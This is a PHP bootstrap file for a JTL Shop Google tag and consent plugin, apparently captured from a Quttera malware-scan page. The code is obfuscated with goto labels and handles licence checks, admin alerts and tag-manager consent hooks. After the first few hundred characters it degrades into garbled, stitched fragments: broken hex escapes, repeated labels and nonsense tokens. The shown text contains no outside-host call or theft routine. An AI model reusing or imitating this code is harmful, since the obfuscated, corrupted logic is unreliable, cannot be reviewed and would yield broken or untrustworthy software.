namespace Plugin\netzdingeDE_google_codes; use Plugin\netzdingeDE_google_codes\src\Backend\PluginHelper; use Plugin\netzdingeDE_google_codes\licence\PluginLicence; use Plugin\netzdingeDE_google_codes\src\Backend\Functions; use JTL\Shop; use JTL\Plugin\Bootstrapper; use JTL\Events\Dispatcher; use JTL\Alert\Alert; use JTL\Consent\Item; use JTL\Backend\Notification; use JTL\Backend\NotificationEntry; use JTL\Update\DBMigrationHelper; use JTL\Smarty\JTLSmarty; use JTL\Minify\MinifyService; class Bootstrap extends Bootstrapper { private static $PluginHelper; public function boot(Dispatcher $dispatcher) { goto xjEj4; gr5pK: BEhnt: goto XBRFj; hdYf3: if (!(self::$PluginHelper->settings["cCookieService"] === "JTL" || self::$PluginHelper->settings["cCookieService"] === "WS")) { goto JX3WM; } goto fWeke; kjtr_: if (!(self::$PluginHelper->shopVersionAllowed($excludeShopVersion_arr) && self::$PluginHelper->checkNoChanges() && self::$PluginHelper->showOnURL() && self::$PluginHelper->showOnURL())) { goto wPb72; } goto CXjNr; SEBba: $alertHelper->addAlert(Alert::TYPE_DANGER, "<span style="color:#fff;">Es gibt ein Problem mit der Lizensierung des Plugins "" . $this->getPlugin()->getPluginID() . "", das Plugin wird nicht korrekt funktionieren. Weitere Informationen finden Sie in den Plugineinstellungen im Reiter "Status! <i class="fa fa-external-link"></i><br>(Diese Meldung verschwindet automatisch, wenn das Problem gelöst ist oder Sie das Plugin deaktivieren.)</span>", "updateinfo", ["saveInSession" => true, "dismissable" => true, "linkHref" => self::$PluginHelper->getPluginAdminLink("cPluginTab=Status"), "showInAlertListTemplate" => true]); goto AZeud; b_rdH: $excludeShopVersion_arr = ["5.7.0"]; goto j64uD; OcXkz: if (!((null === $this->getPlugin()->getMeta()->getExsID() || empty($this->getPlugin()->getMeta()->getExsID())) && is_object(self::$PluginHelper->oStatus) && !empty(self::$PluginHelper->oStatus->cPluginVersion) && $this->getPlugin()->getMeta()->getVersion() != self::$PluginHelper->oStatus->cPluginVersion)) { goto mA3b2; } goto zVoN2; dHJ8z: $dispatcher->listen("shop.hook." . 320, [$this, "addConsentGTM"]); goto KwC0x; AZeud: kBtAW: goto zQg7g; ylKaE: $PluginLicence = new PluginLicence(); goto QZtdy; h4YGT: if (!($logeintrag = self::$PluginHelper->dbSelectSingleRow("tjtllog", "cKey", $this->getPlugin()->getPluginID()))) { goto BEhnt; } goto yeoW4; mFxi_: xwQ2q: goto XUUKv; VNo3s: if (!((null === $this->getPlugin()->getMeta()->getExsID() || empty($this->getPlugin()->getMeta()->getExsID())) && is_object(self::$PluginHelper->oStatus) && !empty(self::$PluginHelper->oStatus->cLizenzfehler) && !empty(self::$PluginHelper->oStatus->cLizenzfehlerFestgestellt))) { goto kBtAW; } goto P_T4r; bpXCB: return; goto URAe0; QwJ3o: OGKFU: goto kGgej; b4As9: if (!(self::$PluginHelper->settings["cTagManagerCookieZweck"] !== "essential" && self::$PluginHelper->settings["bGoogleTagManagerDataLayer"] !== "only")) { goto FQb51; } goto dHJ8z; nIPN7: if (!(self::$PluginHelper->settings["bGoogleTagManagerConsentAdwords"] === "on" && self::$PluginHelper->settings["bUseGoogleAdsConversionTracking"] !== "on")) { goto OGKFU; } goto rveBC; CXjNr: $hook_arr = array(45 => "45", 140 => "0", 207 => "7"); goto KqXsn; EdLtP: if (!(self::$PluginHelper->settings["bUseGoogleAdsConversionTracking"] === "on")) { goto iNl_y; } goto g0EDR; fWeke: if (!(self::$PluginHelper->settings["bUseGA4"] === "on")) { goto awsFJ; } goto YVwfa; w5gFL: if (!(!self::$PluginHelper->checkNoChanges() || !empty(self::$PluginHelper->oStatus->cLizenzfehler))) { goto Vj9NR; } goto Ofj1L; svO6_: j2Bqw: goto ILs93; DXUh9: OZqvx: goto nIPN7; BY5vh: self::$PluginHelper = new PluginHelper($this->getPlugin()); goto mFxi_; GXJ1i: $dispatcher->listen("shop.hook." . $hook, function (array $args) use($file, $hook) { $this->loadHookDatei($file, $args, $hook); }); goto h4YGT; OCi8L: if (!(self::$PluginHelper->settings["bGoogleTagManagerConsentAnalytics"] === "on" && self::$PluginHelper->settings["bUseGA4"] !== "on")) { goto OZqvx; } goto qMCR5; l3mm9: if (!(Shop::isFrontend() === false)) { goto Gl3s3; } goto w5gFL; QpBr5: $file = HOOK_PLUGIN_SAVE_OPTIONS; goto GXJ1i; P_T4r: $alertHelper = Shop::Container()->getAlertService(); goto SEBba; dbYXL: $alertHelper->addAlert(Alert::TYPE_DANGER, "Für das Plugin "" . $this->getPlugin()->getMeta()->getName() . "" gibt es Einträge im Fehlerlog, die geprüft werden sollten. Löschen Sie die Ein\self:;h\5Fehle<\x6x68e\ GXJ1iakr7c\"fogx65hy03n303rLp7120ldung@Gnk("c\xx65n%q/udsea155 Trdp4e\447ins "" . $this->getPlugi46Tpgta63 9naHd\x6n\1 P_T4r . ::$Plulugi2Uo`3s Rfx6fg1x20gPP\1eRow("hle151s8r->lis3fdbSel "erfde\6fnsu0147\_SESS = $PluSelectSx65_164AoEr\\x5lugix2gie, "\x6Row("trfiue. Ing2d147ins "" . $this->getPluginTa3= "esf163ux67ie,61dcx65h\x46ed0en*152t3 9na_a2d"r: $hookcluginH4seAo0it1471x20 tle9nf164A6etMeta()->\x6Row(41x20g qr164A6et0\3eE`Pd 9nfx65
x6cfe8m,61d3fe8m,x61s fx67@1l\f067e \68owfehwin:rel6n \1okclu2fx6ce9dA`\1okex65npatch; cppKnAW; } goto P_T4o Vj92\xi6bH: Z2Tj6oto ILso kBt;Ae0; Q: YY7qNoto ILsx30\x; A5WT0:r->shooto ILswOMdt;AqLOgA: EUPS4oto ILso OZq; YoHNOZq== "\oto ILsWRUBh; er $d: parenrtHelpernction boot(to P_T4=> trotobNeK:cPlugioto ILsYJKgV; zwD9Vce(); goto SEBba; dbYXL: $alertHelper->addAlert704pSitPluginAdminLink("cTugins "" . $this->getPlugin()->getMe4rrE" => tr6foM69x64un>getPlugi65927 @7e\4ns65 i\er->se@Gnk(4sC7154obds\xx65nxiF7e \68owm L5n r\1her->lix66fs\6e>getPl", ["8x20WPR6s8150\5\x0x74]sC2e/rj0g\APPLICAe = _VERS = )->get6 w\6fme>g->getPlu2\x6x68e9nbPE_DANGEbx61b3ho9103otsE6 \1o4 o3i, ["8x20Wo0iicsb\1her->li4t iser%E_DANGEbx64Anekti`PberBan\xx66f5 da\("cT1152te3htFTrdp4f\x47ins "" . $this->getPlugi46Tpqc1152[65nxi6bH;)) { gIONS; goto GXJ1i; P_T4r: $alertHelper = Shop::Container()->gServi;5.\; }); goto h4YGT; OCi8L: iff (!(o XU:isFronten; } g== false)h9: O;w PlugBtAW: goto zQg7g(!(!selginLicenins "" . ginLiunc42" . KeyHelper($thqLOgA;=> "\6: foreach (; } goto rasHookDar: $; } g$args } goto zVoN2; dHJ8z: $dispatcher->liste142\1her50op.150ook." . $hook, function (array $args) use($file, $hook) { $this->loadHookDatei($fiImFEO:= false)S5Ovw;64G:7n\oto ILshook);)S5Ovw:7\YdHQoto ILspK: B; efh1b:cLizenoto ILsh.\;)) { gn()); goto mFxi_; GXJ1i:56" =>atcher->liste142\1her50\1=> t70.hooffo5s\x7leAerP\x1ngs[71\6catUPM7;sWRUBh:=== "\oto ILsA5WT0;j1L; s; }); goo XUUKv; VNo3s: if (!((null === $this->getPlugin()->getMeta()->getExsID() || empty($this->getPlugin()->isFrontenEUPS4ginID())))d: k;sYJKgVwQ2q: goto XUUKv; VNo3s: if (!((null === $this->getPlugin()->getMeta()->getExsID() || empty($this->getPlugin()->getMeta()->getExsID())) && is_object(self::$PluginHelper->oStatus) && !empty(self::$nSubscripse JTLdoStatus->cPluginVersion) && ginLiunc42" . KeyHegetM"155 p3w143s"] === "on" &y(self::$nSubscripse JTLd > 043\xtigin()kHref" =y(self::$nSubscripse JTLd - 1 * 60 * 60 * 24 * 14>isFrontenWPVmTginID()))LR4r6;oW4; mce(); gots->cPluginVersion) && (seleHeget= 2>isFronten; } gginID()))cppKn;w R8k8; }); goto h4YGT; OCi8L: if (!(self::$PluginH52r>\ings["bUseGooglde3ag|aytr\\$PluginHelper->oStatus) && !empt!(self::$Pluginx66a x64sC4ax20drse$PluginHelper->oStatus) && !empt!(self::$Pluginx66a\->li6btane3x65>isFrontenYY7qNginID()))3o: O;Ej4; g; }); to fWeke; kjtr_: if (!(self::$PluginHelper->shopVersionAllowed($isFrontenZ2Tj6x6fn"))WfOe; JTZx9:nWPVmToto ILsi_: x;)) { gn()); goto mFxi_; GXJ1i: 42E_DANGE3o
rE"e156sfx64Al69x643164TWnb\\8ooffdispatchki\nH52\->lisuginID() eDe150\5\xWnieSaunag\\6caobNeK;64UPM7:=== "\oto ILs R8k8;)) { gn()); goto mFxi_; GXJ1i:56" =>atcher->listen("sh/p.hook." . 163\x7orc22P\x1ngs101\6cav_: j;))WfOeIONS; goto GXJ1i; P_T4r: $alertHelper = Shop::Container()->gzwD9V;)) { gn()); goto mFxi_; GXJ1i: 42E24a3= fns \x6ten("e163fx64ek69x6431160\x5una\\8ooffdi142r= feAfdi145r L5150\5\xWM1o164TWAo07\\6caefh1b;)) { gn()); goto mFxi_; GXJ1i:56" =>atcher->listen("s\1x65\6fx.hooffo5s\Helper->se614322P\x1ngs63`4\x2\\6caB: re;)) { gn()); goto mFxi_; GXJ1i: $dispatcher->listenn("sh/p.hook." . 320, [$t56ag3c\x1ngs101x604\x2\\6caYoHNO;4r; bp:nd() =oto URAe JX3;)LR4r6n()); goto mFxi_; GXJ1i:52si\xx6f
rE\xsten(6150\5\xWM1o\6fdi14nfoq\\8oof7 WkL1SdngG2\x6x68\0x54Wnb\1cher->WM1o114nPfuo\\6caJTZx9;C0x; A:HookDar:o w5gFL; QpBr5: $file = HOOK_PLUo Gl3;swOMdt:= f static $PluginHinstalle: ifFrontengWKB0;jgT5t0: to nIPN7; BY5vh: self::$PluginHelper = new PluginHelper($thhNYuy;ngWKB0: parenrtHinstalle: inpT5t0; cnnrG:tus->cPlflushSmartyCachainer()->gAk7KH;)hNYuy: to nIPN7; BY5(!(!selCustomCSSiner()->gcnnrG;gAk7KH:= f static $PluginHuicatilpeoldionAllodHo seelper->oS147"] ==KFGH;)JXDo_:tus->cPlflushSmartyCachainer()->gDiI_e; T8_xl: to nIPN7; BY5(!(!selCustomCSSiner()->gp6UpZ; GJIvyce(); gotnSubscripse JTLd_column->total1\x 0$isFrontenL5Ue9x6fn")j2XTb;)FiPPc:tus->cPlres& ginLiceC!seliner()->gJXDo_;sYaz7nce(); goto SEBba; dbYXL: $alertHelper->addAlert742en6ceR0x20g\1x70a/t"114le="cfnn;"\fx72 das PdnHelperm D() e@lugin "" . $this->getPlugin()->getMet2\1o4 0x65 \xTYPE_667e\4s,og's li Trn\ GXJ1ia6ebPE_06x27s b\ "esf163\xx69, ["8x "le3i\1dispatcher->lix66fx27s0,-x20K6125saePWi\x7nadr->lix5esbinID() foM6`Pc145m 35r\x6 Wdispatelf:;h9x64uav\1x6emn6cginID() e@7e\4iegPns5n fer56 S73bi20K6156se659ngniME_DANGEdi142r\\4s,og3 egWPna\xx65n/Wel5 dntw1635n-iCe ["8x "le2x1235'du\x6;hle3'PPtSx65.st2\\4/sp\xsuginID() \1e\4xda\1x74ei`1dqcPavConvssado9103\1=> true, "dismissaV" =>atcher->757", ["\1x5xdun>g65rögdLioinmplaDSe0W;gp6UpZIONS; goto GXJ1i; P_T4r: $alertHelper = Shop::Container()->gvP_lB;4r7T3J: to nIPN7; BY5vh: self::$PluginHelper = new PluginHelper($thT8_xl; xhfEM:nL5Ue9oto URAFiPPc;6DSe0W: tnSubscripse JTLd_columnvh:(!($logeintrag = Query1i: 1dis4q4e'j>getPl"dis4fnHelpe1er8*\tq60Sit7e=oo50l\4fc,fnH13i, x161c06x24fb"fo01x6es1x24fN152fi\1"dis48is4q51x5\x7ten(5Q7g65> tro161c2\1x6eis48is4\1x62"x66%'1x602g65t\1x6f x161c01"fo03i[%\1\0x547 des Uf0147ins "" . $this->getPlugi52f<s\xfige3\xw\c01"f\ex61\1etPl"di217g65> tro161c4\1x5\x7o03i[ lun3t\xer->segf1r->lix6Wnb\\x0s\xx65,\xx3b = alper($thGJIvy;gvP_lB72; } goto CXjNr; SEBba: $alertHelper->addAlert(Alex3cwi\x0we'\1x70;e@cd31141*e\x5kollYl\tPluginAdmin141s
elperm\xnID() \1e4lugin "" . $this->getPlugin()->getMet2\1o4`2g60ioe@7 42E24ld1rd. \1o43,og'oPTrds\xx65aC\x5m%saeL2r\etPl"85\4xgnk(4uto2\etP5tPl"di257i
g|cx65h\xx69
l\1o4&6t \1x69n d\1->getName(e1545 d\1x3cs\7gx65dag|ex673 m5n iM6-i\ginHe\x6;hige3\xs\(Aler5s\("\x6Row(20S) class="fan. We154dc"
le" => tx6c\e\f154\1\x6x72en.)</b=6ce\x3s\7gxde150tei`1\xx3e\inTpaveInSessio
i\d 9S)\x2." fessaT3 93 b\rue, "w|e\1ref" => self::$PluginHelper->ge156 den \1Helper-> 42E20ecs\xfi@"\xx2omPnsdsow("t\1)41V" 142\1her->7161cShdsC4\6eAt5'\1x8du2\->lisuc123aumplaYaz7n;)j2XTb: to nIPN7; BY5(!= Query1i:x5\x7\c145t\1x62"40m4\c01"f\2\6e@@7 40\1\0x547e
inLink("cUf0147ins "" . $this->getPlugi52f7in5r V" 140x77\c01"f\4x61\1etPl"di217g614
q51e1d&6 )n56" f->sego
\0x61una\xx622Qo0en143b8\e5\e5\5s1c1n1N16> tr\ctr\ctr3b caehfEM;==KFGH: parenrtHuicatilpeoldionAllodHo seelper->oto P_T4r7T3J;gDiI_e:= f static $PluginHenable: ifFrontenT3tY1; TEiPf:tus->cPlflushSmartyCachainer()->gG9xqgotofswW:tus->cPlres& ginLiceC!seliner()->gTEiPf;nT3tY1: parenrtHenable: ier()->gofswW;gG9xqg:= f static $PluginHdisable: ifFrparenrtHdisable: i;tus->cPlflushSmartyCachainer f static $PluginHuninstalle: bool $deleteDatavh:60\xifFrparenrtHuninstalle: $deleteDatai;tus->cPlflushSmartyCachainer f xtends $PluginHres& ginLiceC!selinnzfehlerFHshb;))3QY3: J7SIgoto ILsfgrpI;gpypVnce(table_xpthis-vh:(!($logeintrag = Query1i: 1dis48x24fg5'd1"f\2\r\ct703Vf9s1x24bxx624u\1\0x547 de d
47ins "" . $this->getPlugi52f7\x1uginID() `V" 47tr3b caA7zvC;6A7zvCce(); g(table_xpthis-3e"] ==7SIgx6fn"))kw76;rFHshb: to nIPN7; BY5vh: self::$PluginHelper = new PluginHelper($thpypVn;))kw76: to nIPN7; BY5(!= Query1i:5elpex69>53bt`7 40a\->li da\("cUf0147ins "" . $this->getPlugi52f<s\7\5r "W0eY64\1x641407 40\x"\1x5cw(20S\6eAwE6 \1o5a150dispatchki\n 40t\3iXtr3b ca)3QY3;sfgrpI:= f static $PluginHflushSmartyCachaine"] =dwWfL;6Apuhf:t P_T4r: $alertHelper =CachainPlflushTags([\CACHING_GROUP_TEMPLATE, CACHING_GROUP_L; QpBPlugi52f0147ins "" . >getdHoogle_code->CachaTag6caasvYY; djliQ: tmcPlflushCachainer()->gasmBr;=dwWfL: tmcvh: selSmarty; use Jiner()->gSjliQ;gasmBr:Hoogle_codevh: selogle_codelper = new PluginHelper($thApuhf;6asvYY:r f xtends $PluginH$file, $hook) {okDanumberis->loadHonumberne"] =UuaEG; xHkqP:s->loa$Plug2\1her-ettingx61\Honumberper($thtaAwq; PhmGKFUin>shop7ins "" . $aths"" . ; l3mm9:$athetPlugi50Poea155 TAg|t\1x6f.150\1numberulugi26perh0x650"to P_T4r5U88;=UuaEG: to nIPN7; BY5vh: self::$PluginHelper = new PluginHelper($thjDKw_;hjDKw_:Hoogle_codevh: selogle_codelper = new PluginHelper($thxHkqP;htaAwqce(); g $th_existelper = new PluginHe2" . $aths"" . ; l3mm9:$athetPlugi64nPt\x\4nsdp4fo.150\1numberulugi7ten(7s8r->lA4"] !BH22Zestellt)))hmGK;4r5U88:!BH22Zoto ILsxWx1gotxWx1g:= f static $PluginH(!selginLiseation; use JinHe: voidargsntion; use JTL\Bavh: selation; use JTL\Ba(ation; use JTL\BatHelper->addAlert(56 d\1->getNamx0w0147ins "" . $this->getlert(Ae3iy40V2xx65n* a56 S< 5a155r\x4"ws65\48x78du\x4rwPningineiNbcgetPlu2\x6x6162n*'37 W1d|ex67o3en143 m5a56163\7g0R6\ginHein5r7e3.n an|ex67\xtPluginAdminLink("PPluginei\1y03n303r742\\40\,153Href" => self::$PluginHelper->ge2, da\7xde0lugi;h\x) `V"1)41o XU:;lation; use J4r . InstaicencNr; Sationy(sntion; use JTL\Bapt!(s$this->dlper = new PluginHe2" . $this->getPler f static $PluginH(!selficatiation; use JinHe: voidargontenWG5KF; XqOaU:gsntion; use JTL\Bavh: selation; use JTL\Ba(ation; use JTL\BatHelper->addAlert(56 dL1\("cg0147ins "" . $this->getlert(kclugin#fff'P`Ib07e\4n\1x69\1lperm\xnID(57e@7628]sEIVa\xx20geta()->getVersion() != self::$PluginHelper->ulugi7t9x67'`V2x67dsD6i20Kc163bE" =ink41t\1u2\x6x68\x6) e@764om\5t|exx6e 3en143 M6 d\1->getName(e174r m5a5651m R
cs\7\5\69ge3\0\1okclu2fx6cv\,153Href" => self::$PluginHelper67%6 den Woo24\3\x5in5r7=S\o XU:;lontenotzMJ;gotzMJ:lation; use J4r . InstaicencNr; Sationy(sntion; use JTL\Bapt!(s$this->dlper = new PluginHe2" . $this->getPlerontenRqxev;nRqxev: Yu2kZoto ILsFgfNa;nWG5KFce(); inHelper->oStatus) && !empty(self::$PluginHelper->oisFrontenYu2kZestellt))XqOaU;sFgfNa:= f static $PluginH(!selSubscripse Jation; use JinHe: voidargontenm_r5Q;gDTOvIoto ILsv6FxTerontenlk43C;6lk43C: I22fEoto URAeZu AZevXtnM:lation; use J4r . InstaicencNr; Sationy(sntion; use JTL\Bapt!(s$this->dlper = new PluginHe2" . $this->getPlerontenCWDpK;4eZu Ace(text =ert(kcluginf1ce, "w| D\1->\xer->se@F115\0x61un\xe(e174rcs\4PE_DANGEdta0p.cati(d\x6tenn(5i7ten(5g(int)153Href" =y(self::$nSubscripse JTLdtPlugi5kclu2fx67{ex77i(lg|cx7\5t|ex67cxb6s,og'nac en f- 3r>(
wP1sEie1gMd174 55n6cginID() e\xx53it73\\4ns4anxG5n i\1x74\1uew\6f`Ib07\1dx20m\x2ngs["aeL2407 4ow(20Sr da\("cT\x->7145 gie@7671dispatelf69slom\5Pen<ex67s8F115\4() \1e4\1n. W1d`\1o43%ael5itPluginAx64as cun\4m5\1x65n.e\x4u\x6;hi@V" 0\1okcl64a0\a)5j7A;=d7voFce(text =ert(kcl14inf1ce, "wR
cu6" f->67'o
\0x61onb\5 n4\x6i\1x74\1uANGEdta0\1x3c.cati(d\x6tenn(5i3Ug(int)153Href" =y(self::$nSubscripse JTLdtPlugi\x6x72\1ptelf69satinde\7lper->se4Pen<ex6765n Sr>(
le2x12cx20\xT5ie/be2x12exb1174\x\1lper\1x72 ]u\x4\1n3n 3io8x77\c01"f9n 5t\x1Jnxt D\1->\xer->67'o\18\0x54WleA45&9x643165e>g54-xx65 ["8x "iC\x5m%sN7\6fm\1hle\x3'ie54 des T\x->7145 '4ftit73\\4l @7 "f9g37 cenngw\1x69b\x6x6162n7e\x7 W1dt \1x69o3iM6143ie d\->getName(e1673i
a5651g0R6\Hein5\69ge3\0\1okcl64ac\aDTOvIotx4rUp:gsntion; use JTL\Bavh: selation; use JTL\Ba(ation; use JTL\BatHelper->addAlert2, da\("cg0147ins "" . $this->getle(text,153Href" => self::$PluginHelper->getPluginAx64\Link("PRlut\L1nT27e3123\o XU:;lontenvXtnM;nm_r5Qce(); tigin()kHref" =y(self::$nSubscripse JTLdisFrontenI22fE154y"))7voF;6)5j7A:sv6FxToto ILsx4rUp;nCWDpK:= f static $PluginHrenderPlugiMenuTab(stringe(tablugi, int $menuID, Helper; u $ser; uHe: stringeFrontenIEKnZesJP71u: to nIPN7; BY5vh: self::$PluginHelper = new PluginHelper($thqgHLG; KBgO_AW; } go $ser; u->fetchlper = new PluginHe2" . $aths"" . Plugi$athetPlugi52fn.e2\->li17oi~60147\alugitabs[(tablugi]ulugi7ten1624 caFQ5nX;6FQ5nX: mLliLoto ILsCtA5b;laqWw5FUin>shop7ins "" . $aths"" . Plugi$athetPlu\alugitabs[(tablugi]ulugi7ten16h0x650"to P_T4KBgO_; OVPZFce(); inHelp\alugitabs[(tablugi]oStatus->cPLliL154y")JP71u;nIEKnZ:u\alugitabsrveBC; CX"\1"dis0B6f0E69\x6l`\1x65n`\"r: $hosegg\"lert704h/\xx\3i\6fn4x68dw\x2
x6c\4gs101x77\x2\1etPl"oo\"r: $hoo64e\6f3x631152rt704ttingsx\3?\c0rs\xr: $hoseow("t3Q52i;h\x) w=\1r: $hos7in5r7=
to P_T4OVPZF;hqgHLG:Hoogle_codevh: selogle_codelper = new PluginHelper($thNzSEi;sCtA5bAW; } go parenrtHrenderPlugiMenuTab((tablugi, $menuID, $ser; uHer()->gc93\1;hNzSEiIONS; goto GXJ1i; P_T4r: $alertHelper = Shop::Container()->gaqWw5;gc93\1:= f static $PluginHmapPurposginHe{ $motstdPurposgirveBC; CX"V" 17di145r1ufo51r: $hos06x27ye3x54WleDdcen%%n4"41V" 163\7\5r:cs9x64316d\1r: $hoxceTac1471x20d5/u69\x6`av4k("PT71r: $hos7lf`av4k56Tr\1ner; } go $motstdPurposgi[to kGgej; b4As9: if (!(self::$Plugin22lu7"fo\9
agvanaonTsC7120aL1"]]er f static $PluginH; SL\AlertGAx2e" . $hook, : voidargontenCO0Wd; lFxMl: tpurposgrveimplodi(c\(Alerx3e</tg3lv\,1(textwed($er()->gSEuAT; t7JDS: titempt!(s$urposg(tpurposgcaDa_3_; Da_3_: titempt!(s$xtencyPoatiy1i:55068\x6) w54\1 a6x72\\f1542x40V" \4ns65 "dZel61v4k(7\x7ten(6lper->settings["b.07f1r->63i\x(7V0", 207 =HzEzv; jlZ27: titempt!(s>ge++$lass>gcaFz13O; WWBaC: titempt!(sDescripse J(htmlspecialchars(strval $desc23\\ENT_QUOTESelper($tht7JDS; STKIH:s->loa$Plug5651madr->3"]->pushlpitemlper($thphZje; JDugJ: titempt!(slugin"x1ngs15lper->segs["bI\6fnTac1471x1639x6431x53it340", 207 =jlZ27; BgNqgIONdescrveBC; C_shift((textwed($er()->glFxMl;6FuGTn:1(textwed(rveexplodi(c\(Ale73lvic673lv\,1(string)153Href" =locS; :$Plu7orwerN\x1ngs1"bU\x["bOnTac1471x764k("PCk406caBgNqg;6Fz13O: titempt!(s>tem>ge73"] === "on" && self::$PluginHelp673bnH52\->aplper->settings151m\4[$this, "aN22Plf1x72%154yti?$hose7x6431x2fMe3e41471x1639xseg\" : "x25t31x2f\x4or`L5\x4ibf\6ceTuntL9xseg\"caWWBaC;nCO0Wd: tlass>g1\Ho>loa$Plug566enu2\->3"]->redutaiBootstrok\x$result,1>tem titemHe{ $valugrvetitempt . >geter; } go $resultf (!(o XU->ge$valugr> $resultf?e$valugr: $resultei($ ?? 0aFuGTn;=HzEzv: titempt!(sCompanCX"\1"lper->settings151ei1\x6leic\xx65\5x6c\4c 163\7\>g->getP1ngs15lpe74ff6 S8f6r>\hl"E24cl\x4utu\x6;
"w|v4k->getP1nnAx64\Life\1o4#bcg14, x05"caSTKIH;gSEuAT: titemvh: sel>teminer()->gJDugJ;hphZje:= f static $PluginH; SL\AlertGTMx2e" . $hook, : voidargontenVJoqJ;hcCQdK:1(textwed(rveexplodi(\xx69c673lvtg3
"~\,1(string)153Href" =locS; :$Plu7\1his, "aN22\x1ngs1"BUsegoo\1fo\9\x0sa6*16cajbjO2; fG2bI: titempt!(sCompanCX"\1"lper->settings["\xx3e(I\x6lRow(20."6c\4c 64L4141t\1ngs15lpe74- \xe(e174\x1"s#r>\hl"E471\x6`eg7xb6st4iav4k57cxb6de2x12cx25\1o4D141\xnT5"caPvX5q;nVJoqJ: tlass>g1\Ho>loa$Pl62leu2\->3"]->redutaiBootstrok\x$result,1>tem titemHe{ $valugrvetitempt . >geter; } go $resultf (!(o XU->ge$valugr> $resultf?e$valugr: $resultei($ ?? 0acCQdK;=H0PGS: titempt!(sDescripse J(htmlspecialchars(strval $desc23\\ENT_QUOTESelper($thKboZ1;6jbjO2IONdescrveBC; C_shift((textwed($er()->gbdF5W;hKboZ1: titempt!(s$urposg(tpurposgcaouCgw;gbdF5W: tpurposgrveimplodi(\xo4\xx22><76t(Alerx3e<76\,1(textwed($er()->gvVWxq;nqtTSl: titempt!(slugin"x1ngs63\1x65\6fgs151m'ae1MEx4de3agv\"caBVmQT; ouCgw: titempt!(s$xtencyPoatiy1i:40IV4e\0tf\5ig5x67`9nV" 17di1gl6v4k(7
lper->segs["\xher->lis72\x6x68\sa3k(7\x7tf"cafG2bI;gvVWxq: titemvh: sel>teminer()->gqtTSl;6PvX5q:s->loa$Plug5651me2\->3"]->pushlpitemlper($thBqn7V; ExPfW: titempt!(s>tem>ge"1413_164or`L5ce->segs["->settings151K7164sa69 3Agv\"caH0PGS;6BVmQT: titempt!(s>ge++$lass>gcaExPfW;hBqn7V:= f static $PluginH; SL\AlertGADSx2e" . $hook, : voidargontenSPBkc; XboOH: titempt!(s$urposg(tpurposgcaNpfg0\1LTEgR: titempt!(s>tem>ge73"] === "on" && self::$PluginHelper->setti42nH52\->\xx3e\ings["ehCedorwePe\x7oettin2%154ynb\\4?$hose7x6431x2fM4/Pf4io\"r: "x25 C7114lAerP7\b." . 17gs1"dio\"ner()->gqF4wI;gNpfg0: titempt!(s$xtencyPoatiy1i:40III7e\0tf\\\f1542x67e309n\x "d\x5tis6v4k(7
lper->ings["b\xher->lix62\x6x616Ta\x(7V0", 207 =otl5S;6GzEMb: titempt!(slugin"x1ngs63\1settings["bI\6fmn31etPl"di21o07le2x15In|ex67\xtP
"wd1b09n2\1nerr($thB_fWK;=eWHvv:1(textwed(rveexplodi(c"></ic673l\xx3c/(string)153Href" =locS; :$PlHelper->se6117di145r1ngs1"bUsedmn316casbHk5;hB_fWK: titempt!(s>ge++$lass>gcaLTEgR;gbMLos: titemvh: sel>teminer()->gGzEMb; xUBqS: tpurposgrveimplodi(\xo4c673lvt(Alerx3e</\,1(textwed($er()->gbMLos; nrb7X:Ho>loa$Pl62lPP\1e>3"]->pushlpitemlper($thhltS5;=otl5S: titempt!(sCompanCX"\1"lp1"bU\x["b\xetPl", 20WocEx4de3"6c\4c 64L4141\etP1ngs15lp67iao0ixf6r2\x2\1etPl"2E24cl\x4u7V9`'4\setti4v4k57cxb6\1x64\Litce@S7341411`5"canrb7X;gqF4wI: titempt!(sDescripse J(htmlspecialchars(strval $desc23\\ENT_QUOTESelper($thXboOH;nSPBkc: tlass>g1\Ho>loa$Plug566e P\1e>3"]->redutaiBootstrok\x$result,1>tem titemHe{ $valugrvetitempt . >geter; } go $resultf (!(o XU->ge$valugr> $resultf?e$valugr: $resultei($ ?? 0aeWHvv;6sbHk5IONdescrveBC; C_shift((textwed($er()->gxUBqS;hhltS5:= f}
© 2023 Quttera Ltd. All rights reserved.